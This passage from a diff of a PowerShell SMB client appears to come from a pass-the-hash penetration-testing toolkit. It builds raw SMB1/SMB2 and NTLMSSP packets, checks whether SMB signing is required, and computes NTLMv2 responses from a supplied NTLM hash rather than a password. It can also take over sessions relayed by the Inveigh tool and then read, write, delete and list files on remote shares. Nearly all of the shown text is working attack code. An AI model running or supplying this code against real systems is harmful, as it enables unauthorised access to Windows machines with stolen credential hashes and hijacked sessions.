$SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '00-00-00-00') + 'NegotiateSMB2' { - $error_code = [System.BitConverter]::ToString($SMB_client_receive[12..15]) + if($SMB_version -eq 'SMB2.1') + { + $message_ID = 0 + } + else + { + $message_ID = 1 + } - switch($error_code) + $tree_ID = 0x00,0x00,0x00,0x00 + $session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $packet_SMB_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $false $message_ID $process_ID $tree_ID $session_ID + $packet_SMB_data = New-PacketSMB2NegotiateProtocolRequest + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'NTLMSSPNegotiate' + + if([System.BitConverter]::ToString($client_receive[70]) -eq '03') { - 'cc-00-00-c0' + if($signing_check) { - $output_message = "Share not found" - $SMB_client_stage = 'Exit' + Write-Output "[+] SMB signing is required on $target" + $stage = 'Exit' } - - '22-00-00-c0' + else { - $output_message = "Access denied" - $SMB_client_stage = 'Exit' + + if(!$SMB_signing) + { + Write-Verbose "[+] SMB signing is required" + } + + $SMB_signing = $true + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x15,0x82,0x08,0xa0 } - default + } + else + { + + if($signing_check) + { + Write-Output "[+] SMB signing is not required on $target" + $stage = 'Exit' + } + else { - $error_code = $error_code -replace "-","" - $output_message = "Tree connect error code 0x$error_code" - $SMB_client_stage = 'Exit' + $SMB_signing = $false + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x05,0x80,0x08,0xa0 } } } - elseif($SMB2_message_ID -eq 4) - { - $SMB_share_path = "\\" + $Target + "\" + $Share - $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_share_path) - $SMB_client_stage = 'IoctlRequest' - } - else - { - - if($Action -eq 'Put') + + 'NTLMSSPNegotiate' + { + + if($SMB_version -eq 'SMB1') { - $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) - $create_request_extra_info = 2 + $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID 0x00,0x00 + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + } + + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data } else { - $create_request_extra_info = 1 + $message_ID++ + $packet_SMB_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $false $message_ID $process_ID $tree_ID $session_ID + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags 0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data } - $SMB2_tree_ID = $SMB_client_receive[40..43] - $SMB_client_stage = 'CreateRequest' + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'Exit' + } + + } - if($Action -eq 'Get') - { - $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) - } + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + $negoitiation_failed = $true + } - } + } + + if(!$signing_check -and !$negoitiation_failed) + { + $NTLMSSP = [System.BitConverter]::ToString($client_receive) + $NTLMSSP = $NTLMSSP -replace "-","" + $NTLMSSP_index = $NTLMSSP.IndexOf("4E544C4D53535000") + $NTLMSSP_bytes_index = $NTLMSSP_index / 2 + $domain_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 12) $client_receive + $target_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 40) $client_receive + $session_ID = $client_receive[44..51] + $NTLM_challenge = $client_receive[($NTLMSSP_bytes_index + 24)..($NTLMSSP_bytes_index + 31)] + $target_details = $client_receive[($NTLMSSP_bytes_index + 56 + $domain_length)..($NTLMSSP_bytes_index + 55 + $domain_length + $target_length)] + $target_time_bytes = $target_details[($target_details.Length - 12)..($target_details.Length - 5)] + $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" + $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $auth_hostname = (Get-ChildItem -path env:computername).Value + $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) + $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain) + $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] + $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)[0,1] + $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)[0,1] + $auth_domain_offset = 0x40,0x00,0x00,0x00 + $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) + $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) + $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) + $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) + $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 + $HMAC_MD5.key = $NTLM_hash_bytes + $username_and_target = $username.ToUpper() + $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) + $username_and_target_bytes += $auth_domain_bytes + $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) + $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + $security_blob_bytes = 0x01,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $target_time_bytes + + $client_challenge_bytes + + 0x00,0x00,0x00,0x00 + + $target_details + + 0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $server_challenge_and_security_blob_bytes = $NTLM_challenge + $security_blob_bytes + $HMAC_MD5.key = $NTLMv2_hash + $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) + + if($SMB_signing) + { + $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) + $session_key = $session_base_key + $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256 + $HMAC_SHA256.key = $session_key + } + + $NTLMv2_response = $NTLMv2_response + $security_blob_bytes + $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)[0,1] + $session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) + + $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, + 0x03,0x00,0x00,0x00, + 0x18,0x00, + 0x18,0x00 + + $auth_LM_offset + + $NTLMv2_response_length + + $NTLMv2_response_length + + $auth_NTLM_offset + + $auth_domain_length + + $auth_domain_length + + $auth_domain_offset + + $auth_username_length + + $auth_username_length + + $auth_username_offset + + $auth_hostname_length + + $auth_hostname_length + + $auth_hostname_offset + + $session_key_length + + $session_key_length + + $session_key_offset + + $negotiate_flags + + $auth_domain_bytes + + $auth_username_bytes + + $auth_hostname_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $NTLMv2_response + + if($SMB_version -eq 'SMB1') + { + $SMB_user_ID = $client_receive[32,33] + $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID $SMB_user_ID + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 } - 'IoctlRequest' + $packet_SMB_header["UserID"] = $SMB_user_ID + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPAuth $NTLMSSP_response + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else + { + $message_ID++ + $packet_SMB_header = New-PacketSMB2Header 0x01,0x00 0x00,0x00 $false $message_ID $process_ID $tree_ID $session_ID + $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $NTLMSSP_response + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth + $packet_SMB_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + + try + { + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if($SMB_version -eq 'SMB1') { - $SMB2_tree_ID = 0x01,0x00,0x00,0x00 - $SMB_ioctl_path = "\" + $Target + "\" + $Share - $SMB_ioctl_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_ioctl_path) + 0x00,0x00 - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes - - if($SMB_signing) + + if([System.BitConverter]::ToString($client_receive[9..12]) -eq '00-00-00-00') { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + Write-Verbose "[+] $output_username successfully authenticated on $Target" + Write-Output "[-] SMB1 is only supported with signing check and authentication" + $login_successful = $false } - - $packet_SMB2_data = Get-PacketSMB2IoctlRequest $SMB_ioctl_path_bytes - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) + else { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + Write-Output "[!] $output_username failed to authenticate on $Target" + $login_successful = $false } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB2_tree_ID = 0x00,0x00,0x00,0x00 - $SMB_client_stage = 'TreeConnect' } - - 'CreateRequest' + else { - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes - - if($SMB_signing) + if([System.BitConverter]::ToString($client_receive[12..15]) -eq '00-00-00-00') { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + Write-Verbose "[+] $output_username successfully authenticated on $Target" + $login_successful = $true } - - $packet_SMB2_data = Get-PacketSMB2CreateRequest $SMB2_file $create_request_extra_info $source_file_size - - if($directory_list.Count -gt 0) + else { - $packet_SMB2_data["SMB2CreateRequest_DesiredAccess"] = 0x81,0x00,0x10,0x00 - $packet_SMB2_data["SMB2CreateRequest_ShareAccess"] = 0x07,0x00,0x00,0x00 + Write-Output "[!] $output_username failed to authenticate on $Target" + $login_successful = $false } - - if($Action -eq 'Delete') - { - switch($action_step) - { - - 0 - { - $packet_SMB2_data["SMB2CreateRequest_CreateOptions"] = 0x00,0x00,0x20,0x00 - $packet_SMB2_data["SMB2CreateRequest_DesiredAccess"] = 0x80,0x00,0x00,0x00 - $packet_SMB2_data["SMB2CreateRequest_ShareAccess"] = 0x07,0x00,0x00,0x00 - } + } - 2 - { - $packet_SMB2_data["SMB2CreateRequest_CreateOptions"] = 0x40,0x00,0x20,0x00 - $packet_SMB2_data["SMB2CreateRequest_DesiredAccess"] = 0x80,0x00,0x01,0x00 - $packet_SMB2_data["SMB2CreateRequest_ShareAccess"] = 0x07,0x00,0x00,0x00 - } + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + $login_successful = $false + } - } + } - } + } - if($Action -eq 'Get') - { - $packet_SMB2_data["SMB2CreateRequest_CreateOptions"] = 0x00,0x00,0x20,0x00 - $packet_SMB2_data["SMB2CreateRequest_DesiredAccess"] = 0x89,0x00,0x12,0x00 - $packet_SMB2_data["SMB2CreateRequest_ShareAccess"] = 0x05,0x00,0x00,0x00 - } + try + { - if($Action -eq 'Put') - { - - switch($action_step) - { + if($login_successful -or $inveigh_session) + { - 0 - { - $packet_SMB2_data["SMB2CreateRequest_CreateOptions"] = 0x60,0x00,0x20,0x00 - $packet_SMB2_data["SMB2CreateRequest_DesiredAccess"] = 0x89,0x00,0x12,0x00 - $packet_SMB2_data["SMB2CreateRequest_ShareAccess"] = 0x01,0x00,0x00,0x00 - $packet_SMB2_data["SMB2CreateRequest_RequestedOplockLevel"] = 0xff - } + if($inveigh_session) + { - 1 - { - $packet_SMB2_data["SMB2CreateRequest_CreateOptions"] = 0x64,0x00,0x00,0x00 - $packet_SMB2_data["SMB2CreateRequest_DesiredAccess"] = 0x97,0x01,0x13,0x00 - $packet_SMB2_data["SMB2CreateRequest_ShareAccess"] = 0x00,0x00,0x00,0x00 - $packet_SMB2_data["SMB2CreateRequest_RequestedOplockLevel"] = 0xff - $packet_SMB2_data["SMB2CreateRequest_FileAttributes"] = 0x20,0x00,0x00,0x00 - $packet_SMB2_data["SMB2CreateRequest_CreateDisposition"] = 0x05,0x00,0x00,0x00 - } + if($inveigh_session -and $inveigh.session_lock_table[$session] -eq 'locked') + { + Write-Output "[*] Pausing due to Inveigh Relay session lock" + Start-Sleep -s 2 + } - } + $inveigh.session_lock_table[$session] = 'locked' + $client = $inveigh.session_socket_table[$session] + $client_stream = $client.GetStream() + $session_ID = $inveigh.session_table[$session] + $message_ID = $inveigh.session_message_ID_table[$session] + $tree_ID = 0x00,0x00,0x00,0x00 + $SMB_signing = $false + } - } + $path = "\\" + $Target + "\IPC$" + $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($path) + $directory_list = New-Object System.Collections.ArrayList + $stage = 'TreeConnect' - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + while ($stage -ne 'Exit') + { - if($SMB_signing) + switch($stage) + { + + 'CloseRequest' { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '00-00-00-00') - { + if(!$file_ID) + { + $file_ID = $client_receive[132..147] + } - $error_code = [System.BitConverter]::ToString($SMB_client_receive[12..15]) + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2CloseRequest $file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - switch($error_code) + if($SMB_signing) { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } - '03-01-00-c0' - { - $SMB_client_stage = 'Exit' - } + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $file_ID = '' + + if($directory_list.Count -gt 0 -and $Action -eq 'Recurse') + { + $file = $directory_list[0] + $root_directory = $file + 0x5c,0x00 + $create_request_extra_info = 1 + $stage = 'CreateRequest' - '22-00-00-c0' + if($root_directory.Count -gt 2) { + $root_directory_extract = [System.BitConverter]::ToString($root_directory) + $root_directory_extract = $root_directory_extract -replace "-00","" - if($directory_list.Count -gt 0) + if($root_directory.Length -gt 2) { - $directory_list.RemoveAt(0) > $null + $root_directory_extract = $root_directory_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $root_directory_string = New-Object System.String ($root_directory_extract,0,$root_directory_extract.Length) } else { - $output_message = "Access denied" - $share_subdirectory_start = $false + $root_directory_string = [Char][System.Convert]::ToInt16($file,16) } - $SMB_client_stage = 'CloseRequest' + } + + } + elseif($Action -eq 'Get' -and $action_step -eq 1) + { + if($share_subdirectory -eq $source_file) + { + $file = "" + } + else + { + $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory.Replace('\' + $source_file,'')) } - '34-00-00-c0' + $create_request_extra_info = 1 + $stage = 'CreateRequest' + } + elseif($Action -eq 'Delete') + { + + switch($action_step) { - if($Action -eq 'Put') + 0 { - $create_request_extra_info = 3 + + if($share_subdirectory -eq $source_file) + { + $file = "" + } + else + { + $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory.Replace('\' + $source_file,'')) + } + + $create_request_extra_info = 1 + $stage = 'CreateRequest' $action_step++ - $SMB_client_stage = 'CreateRequest' + } - else + + 1 { - $output_message = "File not found" - $SMB_client_stage = 'Exit' + $stage = 'CreateRequestFindRequest' } - } - - 'ba-00-00-c0' - { - - if($Action -eq 'Put') + 3 { - $output_message = "Destination filname must be specified" - $SMB_client_stage = 'CloseRequest' + $stage = 'TreeDisconnect' } } - default - { - $error_code = $error_code -replace "-","" - $output_message = "Create request error code 0x$error_code" - $SMB_client_stage = 'Exit' - } - + } + elseif($share_subdirectory_start) + { + $share_subdirectory_start = $false + $stage = 'CreateRequestFindRequest' + } + else + { + $stage = 'TreeDisconnect' } } - elseif($Action -eq 'Delete' -and $action_step -eq 2) - { - $set_info_request_file_info_class = 0x01 - $set_info_request_info_level = 0x0d - $set_info_request_buffer = 0x01,0x00,0x00,0x00 - $SMB_file_ID = $SMB_client_receive[132..147] - $SMB_client_stage = 'SetInfoRequest' - } - elseif($Action -eq 'Get' -and $action_step -ne 1) + + 'CreateRequest' { + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2CreateRequest $file $create_request_extra_info $source_file_size - switch($action_step) + if($directory_list.Count -gt 0) + { + $packet_SMB2_data["DesiredAccess"] = 0x81,0x00,0x10,0x00 + $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00 + } + + if($Action -eq 'Delete') { - 0 - { - $SMB_file_ID = $SMB_client_receive[132..147] - $action_step++ - $SMB_client_stage = 'CloseRequest' - } - - 2 + switch($action_step) { - - if($file_size -lt 4096) + + 0 { - $read_request_length = $file_size + $packet_SMB2_data["CreateOptions"] = 0x00,0x00,0x20,0x00 + $packet_SMB2_data["DesiredAccess"] = 0x80,0x00,0x00,0x00 + $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00 } - else + + 2 { - $read_request_length = 4096 + $packet_SMB2_data["CreateOptions"] = 0x40,0x00,0x20,0x00 + $packet_SMB2_data["DesiredAccess"] = 0x80,0x00,0x01,0x00 + $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00 } - $read_request_offset = 0 - $SMB_file_ID = $SMB_client_receive[132..147] - $action_step++ - $SMB_client_stage = 'ReadRequest' - } - - 4 - { - $header_next_command = 0x68,0x00,0x00,0x00 - $query_info_request_info_type_1 = 0x01 - $query_info_request_file_info_class_1 = 0x07 - $query_info_request_output_buffer_length_1 = 0x00,0x10,0x00,0x00 - $query_info_request_input_buffer_offset_1 = 0x68,0x00 - $query_info_request_buffer_1 = 0 - $query_info_request_info_type_2 = 0x01 - $query_info_request_file_info_class_2 = 0x16 - $query_info_request_output_buffer_length_2 = 0x00,0x10,0x00,0x00 - $query_info_request_input_buffer_offset_2 = 0x68,0x00 - $query_info_request_buffer_2 = 0 - $SMB_file_ID = $SMB_client_receive[132..147] - $action_step++ - $SMB_client_stage = 'QueryInfoRequest' } } - } - elseif($Action -eq 'Put') - { - - switch($action_step) + if($Action -eq 'Get') { + $packet_SMB2_data["CreateOptions"] = 0x00,0x00,0x20,0x00 + $packet_SMB2_data["DesiredAccess"] = 0x89,0x00,0x12,0x00 + $packet_SMB2_data["ShareAccess"] = 0x05,0x00,0x00,0x00 + } - 0 + if($Action -eq 'Put') + { + + switch($action_step) { - if($Action -eq 'Put') + 0 { - $output_message = "Destination file exists" - $SMB_client_stage = 'CloseRequest' + $packet_SMB2_data["CreateOptions"] = 0x60,0x00,0x20,0x00 + $packet_SMB2_data["DesiredAccess"] = 0x89,0x00,0x12,0x00 + $packet_SMB2_data["ShareAccess"] = 0x01,0x00,0x00,0x00 + $packet_SMB2_data["RequestedOplockLevel"] = 0xff } - } + 1 + { + $packet_SMB2_data["CreateOptions"] = 0x64,0x00,0x00,0x00 + $packet_SMB2_data["DesiredAccess"] = 0x97,0x01,0x13,0x00 + $packet_SMB2_data["ShareAccess"] = 0x00,0x00,0x00,0x00 + $packet_SMB2_data["RequestedOplockLevel"] = 0xff + $packet_SMB2_data["FileAttributes"] = 0x20,0x00,0x00,0x00 + $packet_SMB2_data["CreateDisposition"] = 0x05,0x00,0x00,0x00 + } - 1 - { - $SMB_file_ID = $SMB_client_receive[132..147] - $action_step++ - $header_next_command = 0x70,0x00,0x00,0x00 - $query_info_request_info_type_1 = 0x02 - $query_info_request_file_info_class_1 = 0x01 - $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00 - $query_info_request_input_buffer_offset_1 = 0x00,0x00 - $query_info_request_buffer_1 = 8 - $query_info_request_info_type_2 = 0x02 - $query_info_request_file_info_class_2 = 0x05 - $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00 - $query_info_request_input_buffer_offset_2 = 0x00,0x00 - $query_info_request_buffer_2 = 1 - $SMB_file_ID = $SMB_client_receive[132..147] - $SMB_client_stage = 'QueryInfoRequest' } } - } - elseif($share_subdirectory_start) - { - $SMB_file_ID = $SMB_client_receive[132..147] - $SMB_client_stage = 'CloseRequest' - } - elseif($directory_list.Count -gt 0 -or $action_step -eq 1) - { - $SMB_client_stage = 'FindRequest' - } - else - { - $header_next_command = 0x70,0x00,0x00,0x00 - $query_info_request_info_type_1 = 0x02 - $query_info_request_file_info_class_1 = 0x01 - $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00 - $query_info_request_input_buffer_offset_1 = 0x00,0x00 - $query_info_request_buffer_1 = 8 - $query_info_request_info_type_2 = 0x02 - $query_info_request_file_info_class_2 = 0x05 - $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00 - $query_info_request_input_buffer_offset_2 = 0x00,0x00 - $query_info_request_buffer_2 = 1 - $SMB_file_ID = $SMB_client_receive[132..147] - $SMB_client_stage = 'QueryInfoRequest' + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - if($share_subdirectory) + if($SMB_signing) { - $share_subdirectory_start = $true + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } - } + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if([System.BitConverter]::ToString($client_receive[12..15]) -ne '00-00-00-00') + { - } + $error_code = [System.BitConverter]::ToString($client_receive[15..12]) - 'QueryInfoRequest' - { - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes - $packet_SMB2_header["SMB2Header_NextCommand"] = $header_next_command + switch($error_code) + { - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } + 'c0-00-01-03' + { + $stage = 'Exit' + } - $packet_SMB2_data = Get-PacketSMB2QueryInfoRequest $query_info_request_info_type_1 $query_info_request_file_info_class_1 $query_info_request_output_buffer_length_1 $query_info_request_input_buffer_offset_1 $SMB_file_ID $query_info_request_buffer_1 - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + 'c0-00-00-22' + { - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + if($directory_list.Count -gt 0) + { + $directory_list.RemoveAt(0) > $null + } + else + { + $output_message = "[-] Access denied" + $share_subdirectory_start = $false + } - $SMB2_message_ID++ - $packet_SMB2b_header = Get-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2b_header["SMB2Header_ProcessID"] = $process_ID_bytes + $stage = 'CloseRequest' - if($SMB_signing) - { - 